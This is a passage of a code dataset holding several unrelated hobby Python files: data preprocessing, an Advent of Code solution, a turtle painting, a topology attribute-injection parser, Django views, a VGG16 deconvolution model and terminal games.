df_val_id[\"user_id\"] = df_valid[\"user_id\"]\n df_val_split[\"user_id\"] = df_valid[\"user_id\"]\n\n courses = []\n for id in df_out[\"user_id\"]:\n tmp = []\n for course in user2course[id].split(\" \"):\n tmp.append(course2id[course])\n if id in user2course2.keys():\n for course in user2course2[id].split(\" \"):\n tmp.append(course2id[course])\n st = \"\"\n for i in tmp:\n st += str(i) + \" \"\n courses.append(st[:-1])\n\n df_out[\"course_ids\"] = courses\n df_out[\"predict\"] = [666] * len(courses)\n df_out.to_csv(args.data_dir / \"test.csv\", index=False)\n\n courses = []\n for id in df_train_id[\"user_id\"]:\n tmp = []\n for course in user2course[id].split(\" \"):\n tmp.append(course2id[course])\n st = \"\"\n for i in tmp:\n st += str(i) + \" \"\n courses.append(st[:-1])\n df_train_id[\"course_ids\"] = courses\n df_train_id.to_csv(args.data_dir / \"train_id.csv\", index=False)\n\n courses = []\n for id in df_val_id[\"user_id\"]:\n tmp = []\n for course in user2course2[id].split(\" \"):\n tmp.append(course2id[course])\n st = \"\"\n for i in tmp:\n st += str(i) + \" \"\n courses.append(st[:-1])\n df_val_id[\"course_ids\"] = courses\n df_val_id.to_csv(args.data_dir / \"val_seen_id.csv\", index=False)\n\n val_courses = []\n pred_course = []\n for id in df_valid[\"user_id\"]:\n st = \"\"\n pred = \"\"\n for course in user2course[id].split(\" \"):\n st += str(course2id[course]) + \" \"\n val_courses.append(st[:-1])\n for course in user2course2[id].split(\" \"):\n pred += str(course2id[course]) + \" \"\n pred_course.append(pred[:-1])\n df_val_split[\"course_ids\"] = val_courses\n df_val_split[\"predict\"] = pred_course\n df_val_split.to_csv(args.data_dir / \"val_seen_id_split_id.csv\", index=False)\n\n if args.do_shuffle:\n train_courses = []\n pred_courses = []\n users_ids = []\n for id in df_train[\"user_id\"]:\n tmp = []\n for course in user2course[id].split(\" \"):\n tmp.append(course2id[course])\n for num in range(10):\n random.shuffle(tmp)\n st = \"\"\n prd = \"\"\n for i in tmp[:int(len(tmp)/2)]:\n st += str(i) + \" \"\n for i in tmp[int(len(tmp)/2):]:\n prd += str(i) + \" \"\n train_courses.append(st[:-1])\n pred_courses.append(prd[:-1])\n users_ids.append(id)\n \n df_train_split[\"user_id\"] = users_ids\n df_train_split[\"predict\"] = pred_courses\n df_train_split[\"course_ids\"] = train_courses\n df_train_split.to_csv(args.data_dir / \"train_split_id_10.csv\", index=False)\n\nif __name__ == \"__main__\":\n args = parse_args()\n main(args)","repo_name":"tdbsgng/NTUCSIE_ADL2022_FINAL","sub_path":"Seen_Course/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":4332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"71545426167","text":"testing = False\r\n\r\nimport shared\r\nfrom itertools import combinations\r\n \r\nif testing:\r\n text = shared.read_input(\"input_test\")\r\n print(f\"Instructions: {text}\")\r\n preamble = 5\r\nelse:\r\n text = shared.read_input(\"input\")\r\n preamble = 25\r\n\r\n#print(f\"Worklist: {text[preamble:]}\")\r\n#print(f\"Combinations: {list(combinations(text[:preamble],2))}\")\r\n\r\nfor i in range(preamble,len(text)):\r\n combos = list(combinations(text[i-preamble:i],2))\r\n sums = [sum(x) for x in combos]\r\n if testing:\r\n print(f\"index: {i}, value: {text[i]}, combinations: {combos}\")\r\n print(f\"sums: {sums}\")\r\n if text[i] not in sums:\r\n part1 = text[i]\r\n break\r\n\r\nprint(f\"This value doesn't have a match in its preceding preamble: {part1}\")\r\n\r\nshared.printTimeElapsed()","repo_name":"deadthoma5/AdventOfCode2020","sub_path":"09/9.1.py","file_name":"9.1.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"17221354989","text":"import colorgram as cg\nimport turtle as t\nimport random\n\nrgb_colors = []\ncolors = cg.extract('testimg.jpeg', 30)\nfor color in colors:\n rgb_colors.append((color.rgb.r, color.rgb.g, color.rgb.b))\nprint(rgb_colors)\n\npicachu = t.Turtle()\nt.colormode(255)\npicachu.penup()\npicachu.hideturtle()\npicachu.setheading(225)\npicachu.forward(300)\npicachu.setheading(0)\nfor i in range(1, 101):\n picachu.dot(20, random.choice(rgb_colors))\n picachu.forward(50)\n if i % 10 == 0:\n picachu.setheading(90)\n picachu.forward(50)\n picachu.setheading(180)\n picachu.forward(500)\n picachu.setheading(0)\nts = t.getscreen()\nts.getcanvas().postscript(file=\"duck.eps\")\n\nscreen = t.Screen() # class to make sure the window stays\nscreen.exitonclick() # function self explanatory\n","repo_name":"rafsalrahim/oHwaH","sub_path":"Python/Painting/modenart.py","file_name":"modenart.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"5850170988","text":"from __future__ import unicode_literals, absolute_import\nfrom __future__ import print_function, division\n\nfrom re import match\nfrom glob import glob\nfrom json import loads\nfrom os import getcwd, walk\nfrom fnmatch import fnmatch\nfrom logging import getLogger\nfrom traceback import format_exc\nfrom collections import OrderedDict\nfrom os.path import isabs, join, abspath, isfile, basename\n\nfrom six import iteritems\n\nfrom .parser import parse_txtmeta, find_topology_in_python\n\n\nlog = getLogger(__name__)\n\n\ndef parse_attribute_injection(injection_file, search_paths=None):\n \"\"\"\n Parses a attributes injection file into an attribute injection dictionary.\n\n An attribute injection file is a JSON file that specifies a list of\n injection specifications. Each specification allows to list the files to\n modify and the modifiers to apply. Each modifier specify what entities\n (devices, ports or links) will be modified and which attributes will be\n injected. The file support willcards and attributes matching.\n\n The file format is as follows:\n\n ::\n\n [\n {\n \"files\": [\"pathto/*\", \"another/foo*.py\"],\n \"modifiers\": [\n {\n \"nodes\": [\"sw1\", \"type=host\", \"sw3\"],\n \"attributes\": {\n \"image\": \"image_for_sw1_sw3_hs1_hs2\",\n \"hardware\": \"hardware_for_sw1_sw3_hs1_hs2\"\n }\n },\n {\n \"nodes\": [\"sw4\"],\n \"attributes\": {\n \"image\": \"image_for_sw4\"\n }\n },\n ... # More modifiers\n ]\n },\n ... # More injection specifications\n ]\n\n :param str injection_file: Path for the attribute injection file.\n :param list search_paths: Paths to search for files when the file match is\n relative in the injection file.\n If ``None`` (the default), the current working directory is used.\n :return: An ordered dictionary with the attributes to inject of the form:\n\n ::\n\n {\n '/abs/path/to/suite.py': {\n 'sw1': {\n 'image': 'image_for_sw1_sw3_hs1_hs2',\n 'hardware': 'hardware_for_sw1_sw3_hs1_hs2'\n },\n 'sw3': {\n 'image': 'image_for_sw1_sw3_hs1_hs2',\n 'hardware': 'hardware_for_sw1_sw3_hs1_hs2'\n }\n }\n }\n\n :rtype: `collections.OrderedDict`\n \"\"\"\n # Define search paths\n if search_paths is None:\n search_paths = [abspath(getcwd())]\n log.debug('Injection search paths: {}'.format(search_paths))\n\n # Expand search paths recursively to include all subfolders\n def subfolders(search_path):\n result = []\n for root, dirs, files in walk(search_path, topdown=True,\n followlinks=True):\n # Ignore hidden folders\n dirs[:] = [d for d in dirs if not d.startswith('.')]\n result.extend([join(root, directory) for directory in dirs])\n return result\n\n paths_to_expand = list(search_paths)\n for root in paths_to_expand:\n children = subfolders(root)\n search_paths.extend(children)\n\n # Make search paths unique\n uniques = []\n for path in search_paths:\n if path not in uniques:\n uniques.append(path)\n search_paths = uniques\n log.debug('Expanded injection search paths: {}'.format(search_paths))\n\n # Read injection file\n with open(injection_file) as fd:\n injection_spec = loads(fd.read())\n\n result = OrderedDict()\n\n # Iterate all specifications, expand files and fill return dictionary\n for spec in injection_spec:\n for filename in expand_files(spec['files'], search_paths):\n\n if filename not in result:\n result[filename] = OrderedDict()\n\n # Each specification have several \"modifiers\" associated to it.\n # Those modifiers hold the nodes whose attributes are to be\n # modified.\n for modifier in spec['modifiers']:\n for node in expand_nodes(filename, modifier['nodes']):\n\n if node not in result[filename]:\n result[filename][node] = {}\n\n for attribute, value in modifier['attributes'].items():\n result[filename][node][attribute] = value\n\n log.debug('Attribute injection interpreted dictionary:')\n log.debug(result)\n\n return result\n\n\ndef expand_files(files_definitions, search_paths):\n \"\"\"\n Expands a list of files definitions into the matching files paths.\n\n A file definition is a string that can match none, one or more files\n (by using wildcards). It can be an absolute path, or a relative path from\n the search paths. For example:\n\n ::\n\n '/abs/path/to/my*_thing.py'\n 'myfile.szn'\n 'relative/test_*.py'\n\n :param list files_definitions: A list of files definitions.\n :param str search_paths: Paths to search for files when the file definition\n is relative.\n :return: A list of files paths.\n \"\"\"\n\n expanded_files = []\n\n for file_definition in files_definitions:\n\n # File definitions to look for\n lookups = []\n\n # Determine if suite must be located in suites search path\n if isabs(file_definition):\n lookups.append(file_definition)\n else:\n for search_path in search_paths:\n lookups.append(join(search_path, file_definition))\n\n # Find all file matches for the suite definition\n matches = []\n for lookup in lookups:\n for filepath in glob(lookup):\n filename = basename(filepath)\n\n if filepath in expanded_files or not isfile(filepath):\n continue\n\n if fnmatch(filename, 'test_*.py') or \\\n fnmatch(filename, '*.szn'):\n matches.append(filepath)\n\n expanded_files.extend(matches)\n\n return expanded_files\n\n\ndef expand_nodes(filename, nodes_definitions):\n \"\"\"\n Expands a list of node definitions into the matching node names.\n\n A node definition is a string that can match none, one or more nodes\n (by using wildcards). It can be an expression for node name matching, or\n for matching all nodes that have an specific attribute value. For example:\n\n ::\n\n 'nodea'\n 'hs*'\n 'type=host'\n\n :param str filename: A filename in which to look for matching nodes.\n :param list nodes_definitions: A list of node definitions.\n :return: A list of matching nodes.\n \"\"\"\n\n expanded_nodes = []\n\n # Grab the topology definition from a file that contains one\n log.debug('Trying to expand nodes in {}'.format(filename))\n if filename.endswith('.py'):\n topology = find_topology_in_python(filename)\n if topology is None:\n log.warning((\n 'Skipping node expansion for attribute injection in filename '\n '{} in the lookup path as it does not contain a TOPOLOGY '\n 'definition.'\n ).format(filename))\n return []\n else:\n with open(filename, 'r') as fd:\n topology = fd.read().strip()\n log.debug('Found:\\n{}'.format(topology))\n\n # Parse content\n try:\n parsed_topology = parse_txtmeta(topology)\n except:\n log.error((\n 'Skipping node expansion for attribute injection in filename '\n '{} in the lookup path as SZN format parsing failed.'\n ).format(filename))\n log.debug(format_exc())\n return []\n\n for node_definition in nodes_definitions:\n\n # Check if definition is for attribute matching\n if match(r'(\\w+)=(\\w+)', node_definition):\n\n # Build a dummy statement and parse it\n parsed_dummy = parse_txtmeta(\n '[{}] dummy1'.format(node_definition)\n )\n\n # Extract the attribute name and value\n attribute, value = list(iteritems(\n parsed_dummy['nodes'][0]['attributes']\n ))[0]\n\n # Look for attribute name matching\n for nodes_group in parsed_topology['nodes']:\n attributes = nodes_group['attributes']\n if attribute in attributes and value == attributes[attribute]:\n\n # Retain order, and avoid adding repeated nodes\n for node in nodes_group['nodes']:\n if node not in expanded_nodes:\n expanded_nodes.append(node)\n continue\n\n # The definition is not attribute matching, but name matching\n for nodes_group in parsed_topology['nodes']:\n for node in nodes_group['nodes']:\n if fnmatch(node, node_definition) and \\\n node not in expanded_nodes:\n expanded_nodes.append(node)\n\n return expanded_nodes\n\n\n__all__ = [\n 'parse_attribute_injection'\n]\n","repo_name":"ocelotl/ocelotl_topology","sub_path":"lib/topology/injection.py","file_name":"injection.py","file_ext":"py","file_size_in_byte":9186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"37233531983","text":"from django.shortcuts import render,redirect\nfrom django.http import HttpResponse\nfrom django.db.models import Q\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib import messages\nfrom django.contrib.auth import login,logout, authenticate\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Room, Topic, Message\nfrom .forms import RoomForm,UserForm\n\n# rooms = [\n# {\"id\":1, \"name\": \"Introduction to frontend\"},\n# {\"id\":2, \"name\": \"Learn more django framework\"},\n# {\"id\":3, \"name\": \"Python discord server\"}\n# ]\n\n\ndef login_page(request):\n\n if request.user.is_authenticated:\n return redirect('home')\n\n\n if request.method == \"POST\":\n username = request.POST.get('username').lower()\n password = request.POST.get(\"password\")\n\n try:\n user = User.objects.get(username=username)\n\n except:\n messages.error(request, \"User does not exist\")\n\n user = authenticate(request, username=username, password= password)\n\n if user is not None:\n login(request, user )\n return redirect(\"home\")\n \n else:\n messages.error(request,\"Username or Password is incorrect!\")\n\n\n return render(request, \"main/login-signup.html\",{\"page_name\": \"login\"})\n\n\ndef logout_page(request):\n logout(request)\n return redirect('home')\n\n\ndef sign_up(request):\n create_user_form = UserCreationForm()\n \n if request.method == \"POST\":\n form = UserCreationForm(request.POST)\n print(form)\n if form.is_valid():\n user = form.save(commit=False)\n user.username = user.username.lower()\n user.save()\n login(request, user)\n return redirect('home')\n \n else:\n messages.error(request, \"Error occured while signing in!\")\n\n return render(request, \"main/login-signup.html\", {\"create_user_form\": create_user_form})\n\n\ndef home(request):\n q = request.GET.get('q') if request.GET.get('q') is not None else ''\n rooms = Room.objects.filter(Q(topic__name__icontains = q) | Q(name__icontains = q) | Q(description__icontains = q) )\n\n recent_messages = Message.objects.filter(Q(room__topic__name__icontains = q))\n\n room_counts = rooms.count()\n topics = Topic.objects.all()\n context = {\"rooms\": rooms, \"topics\": topics, \"room_counts\": room_counts, \"recent_messages\": recent_messages}\n return render(request, \"main/home.html\", context)\n \n\ndef user_profile(request, pk):\n user = User.objects.get(id = pk)\n topics = Topic.objects.all()\n recent_messages = user.message_set.all()\n rooms = user.room_set.all()\n context= {\"user\":user, \"topics\":topics, \"rooms\": rooms, \"recent_messages\": recent_messages}\n return render(request, 'main/profile.html', context)\n\n\ndef room(request, pk):\n room = Room.objects.get(id=pk)\n room_messages = room.message_set.all()\n participants = room.participants.all()\n if request.method == \"POST\":\n Message.objects.create(\n user = request.user,\n room=room,\n body= request.POST.get(\"message\")\n )\n room.participants.add(request.user)\n return redirect(\"room\", pk=room.id)\n \n context = {\"room\": room, \"room_messages\": room_messages, \"participants\": participants}\n\n return render(request, \"main/room.html\", context)\n\n\n@login_required(login_url='login')\ndef delete_message(request, pk):\n message = Message.objects.get(id=pk)\n if request.user != message.user:\n return HttpResponse(\"Request not allowed!\")\n \n if request.method == \"POST\":\n message.delete()\n return redirect('home')\n\n context = {\n \"data\": message\n }\n\n return render(request, \"main/delete.html\", context)\n # message = Message.object\n\n\n@login_required(login_url='login')\ndef create_room(request):\n topics = Topic.objects.all()\n if request.method == \"POST\":\n name =request.POST.get(\"name\")\n description =request.POST.get(\"description\")\n topic = request.POST.get('topic')\n topic_new, create = Topic.objects.get_or_create(name = topic)\n\n Room.objects.create(\n host = request.user,\n topic = topic_new,\n name = name,\n description = description)\n \n return redirect('home')\n\n context = {\"topics\": topics,}\n return render(request, \"main/form.html\", context)\n\n\n@login_required(login_url='login')\ndef update_room(request, pk):\n room = Room.objects.get(id=pk)\n topics = Topic.objects.all()\n \n if request.user != room.host:\n return HttpResponse(\"User not allowed!\")\n\n if request.method == \"POST\":\n new_topic = request.POST.get(\"topic\")\n topic, created = Topic.objects.get_or_create(name = new_topic)\n room.topic = topic\n room.name = request.POST.get(\"name\")\n room.description = request.POST.get(\"description\")\n room.save()\n return redirect('home')\n \n\n context = {\"topics\": topics, \"room\": room}\n\n return render(request, 'main/form.html', context)\n\n\n@login_required(login_url='login')\ndef delete_room(request,pk):\n room = Room.objects.get(id=pk)\n\n if request.user != room.host:\n return HttpResponse(\"User not allowed\")\n\n if (request.method == \"POST\"):\n room.delete()\n return redirect(\"home\")\n \n return render(request, \"main/delete.html\", {\"data\": room})\n \n\n@login_required(login_url=\"login\")\ndef edit_profile(request, pk):\n user = request.user\n user_form = UserForm(instance=user)\n print(user_form)\n if request.method == \"POST\":\n data = request.POST\n user_form = UserForm(data, instance=user)\n\n if user_form.is_valid():\n user_form.save()\n return redirect('profile', pk=user.id)\n\n return render(request, 'main/edit-profile.html', {\"form\":user_form})\n","repo_name":"sulaimondawood/django-discord-server","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"1120623685","text":"import torch \nimport torch.nn as nn\nimport torchvision\nimport torchvision.models as models\nimport ReverseConv2d as RevConv2d\n\nclass deconvolve_vgg16(nn.Module):\n def __init__(self, trained_model):\n super(deconvolve_vgg16, self).__init__()\n self.deconv_layers = nn.Sequential(\n nn.MaxUnpool2d(kernel_size=2,stride=2),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[28],512,512,3,padding = 1),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[26],512,512,3,padding = 1),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[24],512,512,3,padding = 1),\n \n nn.MaxUnpool2d(kernel_size=2,stride=2),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[21],512,512,3,padding = 1),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[19],512,512,3,padding = 1),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[17],512,256,3,padding = 1),\n \n nn.MaxUnpool2d(kernel_size=2,stride=2),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[14],256,256,3,padding = 1),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[12],256,256,3,padding = 1),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[10],256,128,3,padding = 1),\n \n nn.MaxUnpool2d(kernel_size=2,stride=2),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[7],128,128,3,padding = 1),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[5],128,64,3,padding = 1),\n \n nn.MaxUnpool2d(kernel_size=2,stride=2),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[2],64,64,3,padding = 1),\n nn.ReLU(inplace=True),\n RevConv2d.ReverseConv2d(trained_model.conv_layers[0],64,3,3,padding = 1),\n )\n \n def reconstruct(self,intermidiate_features,maxpool_indices,start_index):\n reconstructed_feature = intermidiate_features[start_index]\n deconv_start_index = len(self.deconv_layers) - start_index - 1\n for i in range(deconv_start_index, len(self.deconv_layers)):\n print(reconstructed_feature.shape,i)\n if isinstance (self.deconv_layers[i], nn.MaxUnpool2d):\n current_layer_index = len(self.deconv_layers) - i - 1\n current_indices = maxpool_indices[current_layer_index]\n reconstructed_feature = self.deconv_layers[i](reconstructed_feature, current_indices)\n else:\n reconstructed_feature = self.deconv_layers[i](reconstructed_feature)\n return reconstructed_feature\n ","repo_name":"Yichen-Ga/Conv-Deconv-neural-network-","sub_path":"deconv_vgg16.py","file_name":"deconv_vgg16.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"72061226167","text":"import random\nimport os\nimport time\nfrom random import randint\n\n#Game 1\n#Game of rock paper scissors in the terminal\n#By Marlon C.\n\ndef rocks_game():\n computerChoice = \"\"\n\n dod = random.randint(1, 4)\n your_score = 0\n computer_score = 0\n\n if dod == 1:\n computerChoice = \"rock\"\n elif dod == 2:\n computerChoice = \"paper\"\n elif dod == 3:\n computerChoice = \"scissors\"\n \n\n while your_score != 10 or computer_score != 10:\n userInput = str(input(\"Please enter your choise (Type Stop to stop the game): \"))\n \n if userInput == computerChoice:\n print(\"This game is a tie.\")\n print(f\"You chose {userInput}\")\n print(f\"The computer chose {computerChoice}\")\n elif userInput == \"rock\" and computerChoice == \"paper\":\n print(\"The computer won.\")\n computer_score += 1\n print(f\"You chose {userInput}\")\n print(f\"The computer chose {computerChoice}\")\n elif userInput == \"paper\" and computerChoice == \"rock\":\n print(\"You won\")\n your_score += 1\n print(f\"You chose {userInput}\")\n print(f\"The computer chose {computerChoice}\")\n elif userInput == \"paper\" and computerChoice == \"scissors\":\n print(\"The computer won.\")\n computer_score += 1\n print(f\"You chose {userInput}\")\n print(f\"The computer chose {computerChoice}\")\n elif userInput == \"scissors\" and computerChoice == \"paper\":\n print(\"You won\")\n your_score += 1\n print(f\"You chose {userInput}\")\n print(f\"The computer chose {computerChoice}\")\n elif userInput == \"scissors\" and computerChoice == \"rock\":\n print(\"The computer won.\")\n computer_score += 1\n print(f\"You chose {userInput}\")\n print(f\"The computer chose {computerChoice}\")\n elif userInput == \"rock\" and computerChoice == \"scissors\":\n print(\"You won\")\n your_score += 1\n print(f\"You chose {userInput}\")\n print(f\"The computer chose {computerChoice}\")\n elif userInput == \"Stop\":\n break\n \n print(f\"You have : {your_score} points.\")\n print(f\"The computer has {computer_score} points.\")\n input(\"Press a key to continue\")\n \n os.system('clear')\n\n#Game 2\n#Game of Connect4 in the terminal\n#By Marlon C.\n\ndef Connect4():\n board = [] \n label = []\n whos_turn = 0b10\n winner = False\n last = 0\n column = 0\n boardheight = 6\n boardwidth = 7\n\n #generate empty board\n def generate_board(boardheight, boardwidth):\n for i in range(8):\n if i < boardheight:\n board.append([\"_\"] * boardwidth)\n elif i < boardwidth:\n board.append([\"^\"] * boardwidth)\n else:\n for j in range(boardwidth):\n label.append(str(j+1))\n board.append(label)\n\n def start():\n print (\"Let's play Connect Four!\")\n start_seq = [\"3\",\".\",\".\",\"2\",\".\",\".\",\"1\",\".\",\".\"]\n for i in start_seq:\n time.sleep(0.333)\n print(i)\n\n def print_board(board):\n print(\"\\n\")\n for row in board:\n print(\" \".join(row))\n print(\"\\n\")\n \n def toggle(turn):\n mask = 0b11\n turn = turn ^ mask\n print(\"It is player %s's turn.\" % turn)\n return turn\n\n def mark_board(last, column):\n if whos_turn == 0b01:\n board[last][column] = \"1\"\n else:\n board[last][column] = \"2\"\n print_board(board)\n\n def play():\n while True:\n try:\n column = int(input(\"Pick a column (1-7): \")) - 1\n if column >= 1 and column <= boardwidth:\n for i in range(6):\n if board[i][column] == \"_\":\n last = i\n mark_board(last, column)\n else:\n raise \"You picked a column outside the board!\"\n break\n except:\n print(\"Not a valid number! Please try again...\")\n\n def check_winner(board, player):\n #check horizontal spaces\n for y in range(boardheight):\n for x in range(boardwidth - 3):\n if board[x][y] == player and board[x+1][y] == player and board[x+2][y] == player and board[x+3][y] == player:\n return True\n\n #check vertical spaces\n for x in range(boardwidth):\n for y in range(boardheight - 3):\n if board[x][y] == player and board[x][y+1] == player and board[x][y+2] == player and board[x][y+3] == player:\n return True\n\n #check / diagonal spaces\n for x in range(boardwidth - 3):\n for y in range(3, boardheight):\n if board[x][y] == player and board[x+1][y-1] == player and board[x+2][y-2] == player and board[x+3][y-3] == player:\n return True\n\n #check \\ diagonal spaces\n for x in range(boardwidth - 3):\n for y in range(boardheight - 3):\n if board[x][y] == player and board[x+1][y+1] == player and board[x+2][y+2] == player and board[x+3][y+3] == player:\n return True\n\n return False\n \n start()\n generate_board(boardheight, boardwidth)\n print_board(board)\n\n while winner == False:\n whos_turn = toggle(whos_turn)\n play()\n winner = check_winner(board, str(whos_turn))\n \n if winner == True:\n print(\"Player \" + str(whos_turn) + \" wins!\")\n\n\n\n#Game 3\n#This is a Tic-Tac-Toe game for the terminal\n#You play against an ai\n#Marlon C.\n\ndef TicTacToe():\n square = []\n square = [\" \" for x in range(10)] \n pos = 0\n isUserTurn = True\n positions = [1,2,3,4,5,6,7,8,9] #this is gloal because we need the list to be updated throughout the game, and not reset everytime PCTurn is called\n\n #functions\n def DrawBoard():\n #Draws the game bard on the terminal\n print(' ',square[7],' | ',square[8],' | ',square[9],' ')\n print(\"------|-------|------\")\n print(' ',square[4],' | ',square[5],' | ' ,square[6],' ')\n print(\"------|-------|------\")\n print(' ',square[1],' | ',square[2],' | ' ,square[3],' ')\n\n def UpdateBoard(typeChar,pos):\n #Updates the game board with new moves\n\n #print(\"UpdateBoard pointers contain: typeChar: \", typeChar, \"pos: \", pos)#DEBUGGING LINE\n square[int(pos)] = typeChar\n DrawBoard()\n\n def UserInput():\n #Takes the users input and only accepts input between 1 and 9 and it has to be an integer\n pos=0\n while True:\n try:\n while not int(pos) in range(1,10):\n pos = int(input(\"Enter a position value 1-9: \")) \n except ValueError:\n print(\"Not an integer between 1-9. Try again.\")\n continue\n else:\n return pos\n break \n #chara = chara.upper()\n \n #print(\"Charachter: \", chara)\n #print(\"Columns number: \", pos) \n #print() \n return pos\n\n def CheckTurn(UserTurn):\n #Will toggle between whos turn it is each time this is called. The main difference between this function and\n #XOTOGGLE is that ChekTurn deals with the boolean values and not the actual team characters 'X' and 'O' them selves.\n #Do not call this unless you mean to switch the teams. There are other ways to0 find out what team's turn it is without calling this.\n if UserTurn == True:\n UserTurn = False\n else:\n UserTurn = True\n return UserTurn\n \n def XOToggle():\n #Everytime this is called the game switches teams and returns which teams turn it is. Do not call this unless\n # you mean to switch the teams. There are other ways to0 find out what team's turn it is without calling this.\n #Same thing with CheckTurn.\n if isUserTurn == True:\n return \"X\"\n else:\n return \"O\"\n\n def isBoardFull():\n #Checks if board is full\n #print(\"Square Count: \" ,square.count(\" \"))#DEBUGGING LINE\n if square.count(\" \") <= 1:\n return True\n return False\n def IsBoardEmpoty():\n #Checks if board is empty\n if square.count(\" \")>= 9:\n return True\n return False\n \n def WinningSequences():\n winner = \"\"\n gameInSession = True\n #diagonal wins for team X \n if square[1] == 'X' and square[5] == 'X' and square[9] == 'X': winner = \"X\"\n elif square[3] == 'X' and square[5] == 'X' and square[7] == 'X': winner = \"X\"\n #Stright Horizontal Win for Team X\n elif square[1] == 'X' and square[2] == 'X' and square[3] == 'X': winner = \"X\"\n elif square[4] == 'X' and square[5] == 'X' and square[6] == 'X': winner = \"X\"\n elif square[7] == 'X' and square[8] == 'X' and square[9] == 'X': winner = \"X\"\n #Straight Win Verticle for Tem X\n elif square[1] == 'X' and square[4] == 'X' and square[7] == 'X': winner = \"X\"\n elif square[2] == 'X' and square[5] == 'X' and square[8] == 'X': winner = \"X\"\n elif square[3] == 'X' and square[6] == 'X' and square[9] == 'X': winner = \"X\"\n #Team O Victory\n elif square[1] == 'O' and square[5] == 'O' and square[9] == 'O': winner = \"O\"\n elif square[3] == 'O' and square[5] == 'O' and square[7] == 'O': winner = \"O\"\n #Stright Horizontal Win for Team X\n elif square[1] == 'O' and square[2] == 'O' and square[3] == 'O': winner = \"O\"\n elif square[4] == 'O' and square[5] == 'O' and square[6] == 'O': winner = \"O\"\n elif square[7] == 'O' and square[8] == 'O' and square[9] == 'O': winner = \"O\"\n #Straight Win Verticle for Tem X\n elif square[1] == 'O' and square[4] == 'O' and square[7] == 'O': winner = \"O\"\n elif square[2] == 'O' and square[5] == 'O' and square[8] == 'O': winner = \"O\"\n elif square[3] == 'O' and square[6] == 'O' and square[9] == 'O': winner = \"O\"\n #Draw game\n elif isBoardFull() == True:\n print(\"Draw! Game over\")\n gameInSession = False\n return gameInSession\n \n if winner == \"O\":\n print(\" O Wins!!\")\n gameInSession = False\n return gameInSession\n elif winner == \"X\":\n print(\"X Wins!!\")\n gameInSession = False\n return gameInSession\n else:\n gameInSession = True\n return gameInSession\n \n def SqaureIsTaken (chk):\n #checks if the square is taken by either team characters\n location = pos \n newPos = 0 \n \n if chk == True:\n while square[location] == \"X\" or square[location] == \"O\":\n print (\"This square was already taken. Please choose a different square.\") \n newPos = UserInput () \n if square[newPos] == \" \":\n chk = False \n break\n return newPos\n\n def ChooseRandomSquare():\n #Updates the Pc with a new random square becuase no other possible choices where available for a vicotry or defense\n newMove = random.choice(positions)\n positions.remove(newMove)\n # UpdateBoard('O',newMove)#DEBUGGING\n\n return newMove\n def PCTurn(playerPos):\n positions.remove(playerPos) #takes the players last move and removes it from the list of possible positions\n '''=================================Offensive moves================================================='''\n '''====================== Seek Bottom Row Victory==========================='''\n if (square[1] == 'O' and square[2] == 'O') or (square[9] == 'O' and square[6] == 'O') or (square[7] == 'O' and square[5]=='O'):\n if 3 in positions:\n newMove = 3\n positions.remove(newMove)#every instance in offensive and deffensive moves we have to update the list by\n # removing the computers choice\n return newMove\n else:\n return ChooseRandomSquare()\n elif (square[1] == 'O' and square[3]=='O') or (square[8] == 'O' and square[5] == 'O'):\n if 2 in positions:\n newMove = 2\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n elif (square[2] == 'O' and square[3] == 'O') or (square[4] == 'O' and square[7] == 'O') or (square[5] == 'O' and square[9] == 'O'):\n if 1 in positions:\n newMove = 1\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n '''===================== Seek Mid Row Victories==================================='''\n elif (square[7] == 'O' and square[1] == 'O') or (square[5] == 'O' and square[6]) == 'O':\n if 4 in positions:\n newMove = 4\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n elif ((square[4] == 'O' and square[6] == 'O') or (square[8] == 'O' and square[2] == 'O') or\n (square[9] == 'O' and square[1] == 'O') or (square[7] == 'O' and square[3] == 'O')):\n if 5 in positions:\n newMove = 5\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n elif (square[3] == 'O' and square[9] == 'O') or (square[4] == 'O' and square[5] == 'O'):\n if 6 in positions:\n newMove = 6\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n '''===========================Seek Top row Victories==================================='''\n elif (square[1] == 'O' and square[4] == 'O') or (square[8] == 'O' and square[9] == 'O') or (\n square[5] == 'O' and square[3] == 'O'):\n if 7 in positions:\n newMove = 7\n positions.remove(newMove)\n return newMove\n else:\n return ChooseRandomSquare()\n 